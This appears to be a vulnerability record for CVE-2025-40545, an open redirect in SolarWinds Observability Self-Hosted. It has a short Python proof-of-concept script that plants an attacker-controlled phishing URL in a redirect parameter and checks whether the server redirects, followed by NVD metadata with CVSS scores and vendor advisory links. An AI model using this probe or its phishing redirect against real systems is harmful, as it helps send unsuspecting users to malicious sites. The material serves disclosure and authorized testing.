CVE-2025-40545

# CVE-2025-40545 Open Redirect PoC # Target: SolarWinds Observability Self-Hosted # Note: This PoC is for educational and authorized testing purposes only import requests from urllib.parse import urlencode def test_open_redirect(target_url, redirect_param='url'): """ Test for open redirect vulnerability in SolarWinds Observability Args: target_url: Base URL of the vulnerable application redirect_param: Parameter name used for redirection (commonly 'url', 'redirect', 'next') Returns: dict: Test results including whether redirect occurred """ # Malicious redirect target malicious_url = "https://attacker-controlled-site.com/phishing" # Construct the malicious URL with the vulnerable parameter params = { redirect_param: malicious_url } # Full URL with malicious parameter test_url = f"{target_url}?{urlencode(params)}" print(f"[*] Testing target: {target_url}") print(f"[*] Malicious redirect target: {malicious_url}") try: # Send request and follow redirects response = requests.get(test_url, allow_redirects=False, timeout=10) # Check if redirect is happening if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[!] Redirect detected!") print(f"[!] Status code: {response.status_code}") print(f"[!] Location header: {location}") if malicious_url in location or 'attacker-controlled' in location: print("[!] VULNERABLE: Open redirect confirmed!") return { 'vulnerable': True, 'status_code': response.status_code, 'location': location } else: print(f"[*] No redirect detected (Status: {response.status_code})") return {'vulnerable': False} except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return {'error': str(e)} # Example usage if __name__ == "__main__": target = "https://solarwinds-instance.local/redirect" result = test_open_redirect(target) print(f"\nResult: {result}")

{"cve": {"id": "CVE-2025-40545", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:51.780", "lastModified": "2025-11-24T16:30:53.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SolarWinds Observability Self-Hosted is susceptible to an open redirection vulnerability. The URL is not properly sanitized, and an attacker could manipulate the string to redirect a user to a malicious site. The attack complexity is high, and authentication is required."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:solarwinds:observability_self-hosted:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.4.1", "matchCriteriaId": "A5B85936-AD69-4C2E-ADE4-1AA4EA612B4C"}]}]}], "references": [{"url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/hco_2025-4-1_release_notes.htm", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40545", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}